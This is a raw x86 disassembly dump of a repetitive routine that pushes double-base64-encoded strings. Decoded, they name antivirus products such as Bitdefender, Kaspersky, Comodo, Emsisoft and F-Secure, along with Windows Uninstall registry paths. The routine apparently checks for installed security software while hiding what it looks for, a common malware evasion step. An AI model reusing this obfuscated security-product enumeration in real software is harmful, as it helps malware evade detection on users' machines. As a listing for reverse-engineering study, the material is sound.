call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x38]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x144], 0x7b
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x4c], esp
push eax
call fcn.00408ab5
push ebx
push ecx
mov esi, esp
mov byte [esp + 0x168], 0x7c
mov dword [esp + 0x50], esp
push ecx
mov eax, esp
mov dword [esp + 0x54], esp
push edi
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x5c]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x164], 0x7d
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x68], esp
push eax
call fcn.00408ab5
sub esp, 0x1c
mov byte [esp + 0x19c], 0x7e
mov esi, esp
mov dword [esp + 0x94], esp
push 0x455eec
call fcn.00408ab5
mov byte [esp + 0x19c], 0x80
lea edi, [esp + 0xa0]
call fcn.00401376
push eax
mov eax, dword [ebp + 8]
mov byte [esp + 0x12c], 0x81
call fcn.00408b4b
call fcn.00404503
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
call fcn.0040117e
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
call fcn.0040117e
or dword [esp + 0x128], 0xffffffff
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
call fcn.0040117e
push ecx
mov dword [esp + 0x28], esp
mov esi, esp
push ecx
mov eax, esp
mov dword [esp + 0x2c], esp
push str.UW1sMFpHVm1aVzVrWlhJZ1ZHOTBZV3dnVTJWamRYSnBkSGtnTWpBeE5RPT0
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x2c]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov dword [esp + 0x128], 0x82
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x40], esp
push eax
call fcn.00408ab5
push ecx
mov esi, esp
mov byte [esp + 0x148], 0x83
mov dword [esp + 0x34], esp
push ecx
mov eax, esp
mov dword [esp + 0x38], esp
push str.VTA5R1ZGZEJVa1ZjWEUxcFkzSnZjMjltZEZ4Y1YybHVaRzkzYzF4Y1EzVnljbVZ1ZEZabGNuTnBiMjVjWEZWdWFXNXpkR0ZzYkZ4Y1FtbDBSR1ZtWlc1a1pYSmNYRVJwYzNCc1lYbE9ZVzFs
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x38]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x144], 0x84
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x4c], esp
push eax
call fcn.00408ab5
push ebx
push ecx
mov byte [esp + 0x168], 0x85
mov esi, esp
mov dword [esp + 0x50], esp
push ecx
mov eax, esp
mov dword [esp + 0x54], esp
push str.UW1sMFJHVm1aVzVrWlhJZ1ZHOTBZV3dnVTJWamRYSnBkSGs9
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x5c]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x164], 0x86
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x68], esp
push eax
call fcn.00408ab5
sub esp, 0x1c
mov byte [esp + 0x19c], 0x87
mov esi, esp
mov dword [esp + 0x94], esp
push 0x456104
call fcn.00408ab5
lea edi, [esp + 0xa0]
mov byte [esp + 0x19c], 0x89
call fcn.00401376
push eax
mov eax, dword [ebp + 8]
mov byte [esp + 0x12c], 0x8a
call fcn.00408b4b
call fcn.00404503
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
call fcn.0040117e
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
call fcn.0040117e
or dword [esp + 0x128], 0xffffffff
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
call fcn.0040117e
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x40], esp
push 0x454ad8
call fcn.00408ab5
push ecx
mov esi, esp
mov dword [esp + 0x148], 0x8b
mov dword [esp + 0x34], esp
push ecx
mov eax, esp
mov dword [esp + 0x38], esp
push str.VTA5R1ZGZEJVa1ZjWEUxcFkzSnZjMjltZEZ4Y1YybHVaRzkzYzF4Y1EzVnljbVZ1ZEZabGNuTnBiMjVjWEZWdWFXNXpkR0ZzYkZ4Y1FtbDBSR1ZtWlc1a1pYSWdSMjl1ZW1Gc1pYTT0
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x38]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x144], 0x8c
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x4c], esp
push eax
call fcn.00408ab5
push ebx
push ecx
mov esi, esp
mov byte [esp + 0x168], 0x8d
mov dword [esp + 0x50], esp
push ecx
mov eax, esp
mov dword [esp + 0x54], esp
push str.UW1sMFJHVm1aVzVrWlhJZ1FXNTBhWFpwY25WeklFWnlaV1VnUldScGRHbHZiZz09
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x5c]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x164], 0x8e
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x68], esp
push eax
call fcn.00408ab5
sub esp, 0x1c
mov byte [esp + 0x19c], 0x8f
mov esi, esp
mov dword [esp + 0x94], esp
push 0x4562b4
call fcn.00408ab5
lea edi, [esp + 0xa0]
mov byte [esp + 0x19c], 0x91
call fcn.00401376
push eax
mov eax, dword [ebp + 8]
mov byte [esp + 0x12c], 0x92
call fcn.00408b4b
call fcn.00404503
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
call fcn.0040117e
or dword [esp + 0x128], 0xffffffff
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
call fcn.0040117e
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x40], esp
push 0x454ad8
call fcn.00408ab5
push ecx
mov esi, esp
mov dword [esp + 0x148], 0x93
mov dword [esp + 0x34], esp
push ecx
mov eax, esp
mov dword [esp + 0x38], esp
push str.VTA5R1ZGZEJVa1ZjWEUxcFkzSnZjMjltZEZ4Y1YybHVaRzkzYzF4Y1EzVnljbVZ1ZEZabGNuTnBiMjVjWEZWdWFXNXpkR0ZzYkZ4Y1FuVnNiRWQxWVhKaw
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x38]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x144], 0x94
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x4c], esp
push eax
call fcn.00408ab5
push ebx
push ecx
mov esi, esp
mov byte [esp + 0x168], 0x95
mov dword [esp + 0x50], esp
push ecx
mov eax, esp
mov dword [esp + 0x54], esp
push str.UW5Wc2JFZDFZWEprSUVsdWRHVnlibVYwSUZObFkzVnlhWFI1
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x5c]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x164], 0x96
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x68], esp
push eax
call fcn.00408ab5
sub esp, 0x1c
mov byte [esp + 0x19c], 0x97
mov esi, esp
mov dword [esp + 0x94], esp
push 0x45641c
call fcn.00408ab5
lea edi, [esp + 0xa0]
mov byte [esp + 0x19c], 0x99
call fcn.00401376
push eax
mov eax, dword [ebp + 8]
mov byte [esp + 0x12c], 0x9a
call fcn.00408b4b
call fcn.00404503
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
call fcn.0040117e
or dword [esp + 0x128], 0xffffffff
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
call fcn.0040117e
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x40], esp
push 0x454ad8
call fcn.00408ab5
push ecx
mov dword [esp + 0x148], 0x9b
mov dword [esp + 0x34], esp
mov esi, esp
push ecx
mov eax, esp
mov dword [esp + 0x38], esp
push str.VTI5bWRIZGhjbVZjWEVOdmJXOWtiMGR5YjNWd1hGeERTVk5jWEh4RE9seGNVSEp2WjNKaGJTQkdhV3hsYzF4Y1EwOU5UMFJQWEZ4RFQwMVBSRThnU1c1MFpYSnVaWFFnVTJWamRYSnBkSGs9
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x38]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x144], 0x9c
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x4c], esp
push eax
call fcn.00408ab5
push SysReAllocString
push ecx
mov esi, esp
mov byte [esp + 0x168], 0x9d
mov dword [esp + 0x50], esp
push ecx
mov eax, esp
mov dword [esp + 0x54], esp
push str.UTI5dGIyUnZJRWx1ZEdWeWJtVjBJRk5sWTNWeWFYUjVJRkJ5Ync9PQ
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x5c]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x164], 0x9e
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x68], esp
push eax
call fcn.00408ab5
sub esp, 0x1c
mov byte [esp + 0x19c], 0x9f
mov esi, esp
mov dword [esp + 0x94], esp
push 0x4565c4
call fcn.00408ab5
lea edi, [esp + 0xa0]
mov byte [esp + 0x19c], 0xa1
call fcn.00401376
push eax
mov eax, dword [ebp + 8]
mov byte [esp + 0x12c], 0xa2
call fcn.00408b4b
call fcn.00404503
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
call fcn.0040117e
or dword [esp + 0x128], 0xffffffff
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
call fcn.0040117e
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x40], esp
push 0x454ad8
call fcn.00408ab5
push ecx
mov esi, esp
mov dword [esp + 0x148], 0xa3
mov dword [esp + 0x34], esp
push ecx
mov eax, esp
mov dword [esp + 0x38], esp
push str.VTA5R1ZGZEJVa1ZjWEUxcFkzSnZjMjltZEZ4Y1YybHVaRzkzYzF4Y1EzVnljbVZ1ZEZabGNuTnBiMjVjWEZWdWFXNXpkR0ZzYkZ4Y2V6VTFNREl3TXpKRExUZzRRekV0TkRNd015MDVPVVpGTFVJMVEwSkVOelk0TkVORlFYMWZhWE14
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x38]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x144], 0xa4
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x4c], esp
push eax
call fcn.00408ab5
push ebx
push ecx
mov esi, esp
mov byte [esp + 0x168], 0xa5
mov dword [esp + 0x50], esp
push ecx
mov eax, esp
mov dword [esp + 0x54], esp
push str.UlcxemFYTnZablFnUVc1MGFTMU5ZV3gzWVhKbA
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x5c]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x164], 0xa6
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x68], esp
push eax
call fcn.00408ab5
sub esp, 0x1c
mov byte [esp + 0x19c], 0xa7
mov esi, esp
mov dword [esp + 0x94], esp
push 0x45678c
call fcn.00408ab5
lea edi, [esp + 0xa0]
mov byte [esp + 0x19c], 0xa9
call fcn.00401376
push eax
mov eax, dword [ebp + 8]
mov byte [esp + 0x12c], 0xaa
call fcn.00408b4b
call fcn.00404503
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
call fcn.0040117e
or dword [esp + 0x128], 0xffffffff
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
call fcn.0040117e
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x40], esp
push 0x454ad8
call fcn.00408ab5
push ecx
mov esi, esp
mov dword [esp + 0x148], 0xab
mov dword [esp + 0x34], esp
push ecx
mov eax, esp
mov dword [esp + 0x38], esp
push str.VTA5R1ZGZEJVa1ZjWEUxcFkzSnZjMjltZEZ4Y1YybHVaRzkzYzF4Y1EzVnljbVZ1ZEZabGNuTnBiMjVjWEZWdWFXNXpkR0ZzYkZ4Y1pWTmpZVzRnU1c1MFpYSnVaWFFnVTJWamRYSnBkSGtnWm05eUlGZHBibVJ2ZDNOZmFYTXg
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x38]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x144], 0xac
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x4c], esp
push eax
call fcn.00408ab5
push ebx
push ecx
mov esi, esp
mov byte [esp + 0x168], 0xad
mov dword [esp + 0x50], esp
push ecx
mov eax, esp
mov dword [esp + 0x54], esp
push str.WlZOallXNGdTVzUwWlhKdVpYUWdVMlZqZFhKcGRIa2dVM1ZwZEdVPQ
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x5c]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x164], 0xae
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x68], esp
push eax
call fcn.00408ab5
sub esp, 0x1c
mov byte [esp + 0x19c], 0xaf
mov esi, esp
mov dword [esp + 0x94], esp
push 0x45696c
call fcn.00408ab5
lea edi, [esp + 0xa0]
mov byte [esp + 0x19c], 0xb1
call fcn.00401376
mov byte [esp + 0x128], 0xb2
push eax
mov eax, dword [ebp + 8]
call fcn.00408b4b
call fcn.00404503
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
call fcn.0040117e
or dword [esp + 0x128], 0xffffffff
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
call fcn.0040117e
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x40], esp
push 0x454ad8
call fcn.00408ab5
push ecx
mov esi, esp
mov dword [esp + 0x148], 0xb3
mov dword [esp + 0x34], esp
push ecx
mov eax, esp
mov dword [esp + 0x38], esp
push str.VTA5R1ZGZEJVa1ZjWEUxcFkzSnZjMjltZEZ4Y1YybHVaRzkzYzF4Y1EzVnljbVZ1ZEZabGNuTnBiMjVjWEZWdWFXNXpkR0ZzYkZ4Y2V6YzBOVFZDUlVFekxUWkZRekl0TkRJMFJDMDVSa1pETFVNME56VXlPVVpFUlRFd1JIMD0
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x38]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x144], 0xb4
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x4c], esp
push eax
call fcn.00408ab5
push ebx
push ecx
mov esi, esp
mov byte [esp + 0x168], 0xb5
mov dword [esp + 0x50], esp
push ecx
mov eax, esp
mov dword [esp + 0x54], esp
push str.UlZORlZDQkZibVJ3YjJsdWRDQkJiblJwZG1seWRYTT0
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x5c]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x164], 0xb6
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x68], esp
push eax
call fcn.00408ab5
sub esp, 0x1c
mov byte [esp + 0x19c], 0xb7
mov esi, esp
mov dword [esp + 0x94], esp
push 0x456b34
call fcn.00408ab5
lea edi, [esp + 0xa0]
mov byte [esp + 0x19c], 0xb9
call fcn.00401376
push eax
mov eax, dword [ebp + 8]
mov byte [esp + 0x12c], 0xba
call fcn.00408b4b
call fcn.00404503
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
call fcn.0040117e
or dword [esp + 0x128], 0xffffffff
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
call fcn.0040117e
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x40], esp
push 0x454ad8
call fcn.00408ab5
push ecx
mov esi, esp
mov dword [esp + 0x148], 0xbb
mov dword [esp + 0x34], esp
push ecx
mov eax, esp
mov dword [esp + 0x38], esp
push str.VTA5R1ZGZEJVa1ZjWEUxcFkzSnZjMjltZEZ4Y1YybHVaRzkzYzF4Y1EzVnljbVZ1ZEZabGNuTnBiMjVjWEZWdWFXNXpkR0ZzYkZ4Y2UwRTVPRE0xTTBJMExURkZNalV0TkRSRlF5MUNRME13TFRaR09EUkVNa1kxUmpJME0zMD0
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x38]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x144], 0xbc
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x4c], esp
push eax
call fcn.00408ab5
push ebx
push ecx
mov esi, esp
mov byte [esp + 0x168], 0xbd
mov dword [esp + 0x50], esp
push ecx
mov eax, esp
mov dword [esp + 0x54], esp
push str.Um05eWRHbHVaWFFnUm05eWRHbERiR2xsYm5RPQ
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x5c]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x164], 0xbe
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x68], esp
push eax
call fcn.00408ab5
sub esp, 0x1c
mov byte [esp + 0x19c], 0xbf
mov esi, esp
mov dword [esp + 0x94], esp
push 0x456cf4
call fcn.00408ab5
lea edi, [esp + 0xa0]
mov byte [esp + 0x19c], 0xc1
call fcn.00401376
push eax
mov eax, dword [ebp + 8]
mov byte [esp + 0x12c], 0xc2
call fcn.00408b4b
call fcn.00404503
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
call fcn.0040117e
or dword [esp + 0x128], 0xffffffff
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
call fcn.0040117e
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x40], esp
push 0x454ad8
call fcn.00408ab5
push ecx
mov esi, esp
mov dword [esp + 0x148], 0xc3
mov dword [esp + 0x34], esp
push ecx
mov eax, esp
mov dword [esp + 0x38], esp
push str.VTA5R1ZGZEJVa1ZjWEUxcFkzSnZjMjltZEZ4Y1YybHVaRzkzYzF4Y1EzVnljbVZ1ZEZabGNuTnBiMjVjWEZWdWFXNXpkR0ZzYkZ4Y1JpMVRaV04xY21VZ1FXNTBhUzFXYVhKMWN3PT0
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x38]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x144], 0xc4
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x4c], esp
push eax
call fcn.00408ab5
push ebx
push ecx
mov esi, esp
mov byte [esp + 0x168], 0xc5
mov dword [esp + 0x50], esp
push ecx
mov eax, esp
mov dword [esp + 0x54], esp
push str.UmkxVFpXTjFjbVVnU1c1MFpYSnVaWFFnVTJWamRYSnBkSGs9
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x5c]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x164], 0xc6
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x68], esp
push eax
call fcn.00408ab5
sub esp, 0x1c
mov byte [esp + 0x19c], 0xc7
mov esi, esp
mov dword [esp + 0x94], esp
push 0x456e84
call fcn.00408ab5
lea edi, [esp + 0xa0]
mov byte [esp + 0x19c], 0xc9
call fcn.00401376
push eax
mov eax, dword [ebp + 8]
mov byte [esp + 0x12c], 0xca
call fcn.00408b4b
call fcn.00404503
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
call fcn.0040117e
or dword [esp + 0x128], 0xffffffff
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
call fcn.0040117e
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x40], esp
push 0x454ad8
call fcn.00408ab5
push ecx
mov esi, esp
mov dword [esp + 0x148], 0xcb
mov dword [esp + 0x34], esp
push ecx
mov eax, esp
mov dword [esp + 0x38], esp
push str.VTA5R1ZGZEJVa1ZjWEUxcFkzSnZjMjltZEZ4Y1YybHVaRzkzYzF4Y1EzVnljbVZ1ZEZabGNuTnBiMjVjWEZWdWFXNXpkR0ZzYkZ4Y2UwSTJNemc0TVRjNExVUXhPRE10TkVGRU15MUJNVGt4TFRneU1URTNORE5DTURJeFEzMD0
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x38]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x144], 0xcc
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x4c], esp
push eax
call fcn.00408ab5
push ebx
push ecx
mov esi, esp
mov byte [esp + 0x168], 0xcd
mov dword [esp + 0x50], esp
push ecx
mov eax, esp
mov dword [esp + 0x54], esp
push str.UnlCRVlYUmhJRUZ1ZEdsMmFYSjFjdz09
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x5c]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x164], 0xce
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x68], esp
push eax
call fcn.00408ab5
sub esp, 0x1c
mov byte [esp + 0x19c], 0xcf
mov esi, esp
mov dword [esp + 0x94], esp
push 0x457034
call fcn.00408ab5
lea edi, [esp + 0xa0]
mov byte [esp + 0x19c], 0xd1
call fcn.00401376
push eax
mov eax, dword [ebp + 8]
mov byte [esp + 0x12c], 0xd2
call fcn.00408b4b
call fcn.00404503
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
call fcn.0040117e
or dword [esp + 0x128], 0xffffffff
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
call fcn.0040117e
push ecx
mov dword [esp + 0x28], esp
mov esi, esp
push ecx
mov eax, esp
mov dword [esp + 0x2c], esp
mov edi, str.UzJGemNHVnljMnQ1SUVGdWRHa3RWbWx5ZFhNPQ
push edi
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x2c]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov dword [esp + 0x128], 0xd3
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x40], esp
push eax
call fcn.00408ab5
push ecx
mov esi, esp
mov byte [esp + 0x148], 0xd4
mov dword [esp + 0x34], esp
push ecx
mov eax, esp
mov dword [esp + 0x38], esp
push str.VTI5bWRIZGhjbVZjWEUxcFkzSnZjMjltZEZ4Y1YybHVaRzkzYzF4Y1EzVnljbVZ1ZEZabGNuTnBiMjVjWEZWdWFXNXpkR0ZzYkZ4Y2V6QXlSa1ZEUlVVd0xURTJRakl0TkRORVFpMUNRek5DTFVNNE5EUTBOemRHUXpFME1uMWNYRVJwYzNCc1lYbE9ZVzFs
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x38]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x144], 0xd5
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x4c], esp
push eax
call fcn.00408ab5
push ebx
push ecx
mov esi, esp
mov byte [esp + 0x168], 0xd6
mov dword [esp + 0x50], esp
push ecx
mov eax, esp
mov dword [esp + 0x54], esp
push edi
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x5c]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x164], 0xd7
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x68], esp
push eax
call fcn.00408ab5
sub esp, 0x1c
mov byte [esp + 0x19c], 0xd8
mov esi, esp
mov dword [esp + 0x94], esp
push 0x45721c
call fcn.00408ab5
lea edi, [esp + 0xa0]
mov byte [esp + 0x19c], 0xda
call fcn.00401376
push eax
mov eax, dword [ebp + 8]
mov byte [esp + 0x12c], 0xdb
call fcn.00408b4b
call fcn.00404503
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
call fcn.0040117e
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
call fcn.0040117e
or dword [esp + 0x128], 0xffffffff
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
call fcn.0040117e
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x40], esp
push 0x454ad8
call fcn.00408ab5
push ecx
mov esi, esp
mov dword [esp + 0x148], 0xdc
mov dword [esp + 0x34], esp
push ecx
mov eax, esp
mov dword [esp + 0x38], esp
push str.VTA5R1ZGZEJVa1ZjWEUxcFkzSnZjMjltZEZ4Y1YybHVaRzkzYzF4Y1EzVnljbVZ1ZEZabGNuTnBiMjVjWEZWdWFXNXpkR0ZzYkZ4Y1NVOWlhWFFnVFdGc2QyRnlaU0JHYVdkb2RHVnlYMmx6TVE9PQ
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x38]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x144], 0xdd
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x4c], esp
push eax
call fcn.00408ab5
push ebx
push ecx
mov esi, esp
mov byte [esp + 0x168], 0xde
mov dword [esp + 0x50], esp
push ecx
mov eax, esp
mov dword [esp + 0x54], esp
push str.U1U5aWFYUWdUV0ZzZDJGeVpTQkdhV2RvZEdWeQ
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x5c]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x164], 0xdf
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x68], esp
push eax
call fcn.00408ab5
sub esp, 0x1c
mov byte [esp + 0x19c], 0xe0
mov esi, esp
mov dword [esp + 0x94], esp
push 0x4573b4
call fcn.00408ab5
lea edi, [esp + 0xa0]
mov byte [esp + 0x19c], 0xe2
call fcn.00401376
push eax
mov eax, dword [ebp + 8]
mov byte [esp + 0x12c], 0xe3
call fcn.00408b4b
call fcn.00404503
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
call fcn.0040117e
or dword [esp + 0x128], 0xffffffff
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
call fcn.0040117e
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x40], esp
push 0x454ad8
call fcn.00408ab5
push ecx
mov esi, esp
mov dword [esp + 0x148], 0xe4
mov dword [esp + 0x34], esp
push ecx
mov eax, esp
mov dword [esp + 0x38], esp
push str.VTA5R1ZGZEJVa1ZjWEUxcFkzSnZjMjltZEZ4Y1YybHVaRzkzYzF4Y1EzVnljbVZ1ZEZabGNuTnBiMjVjWEZWdWFXNXpkR0ZzYkZ4Y1FXUjJZVzVqWldRZ1UzbHpkR1Z0UTJGeVpTQTRYMmx6TVE9PQ
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x38]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x144], 0xe5
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x4c], esp
push eax
call fcn.00408ab5
push ebx
push ecx
mov esi, esp
mov byte [esp + 0x168], 0xe6
mov dword [esp + 0x50], esp
push ecx
mov eax, esp
mov dword [esp + 0x54], esp
push str.UVdSMllXNWpaV1FnVTNsemRHVnRRMkZ5WlE9PQ
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x5c]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x164], 0xe7
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x68], esp
push eax
call fcn.00408ab5
sub esp, 0x1c
mov byte [esp + 0x19c], pe_nt_image_headers32
mov esi, esp
mov dword [esp + 0x94], esp
push 0x45754c
call fcn.00408ab5
lea edi, [esp + 0xa0]
mov byte [esp + 0x19c], 0xea
call fcn.00401376
mov byte [esp + 0x128], 0xeb
push eax
mov eax, dword [ebp + 8]
call fcn.00408b4b
call fcn.00404503
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
call fcn.0040117e
or dword [esp + 0x128], 0xffffffff
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
call fcn.0040117e
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x40], esp
push 0x454ad8
call fcn.00408ab5
push ecx
mov esi, esp
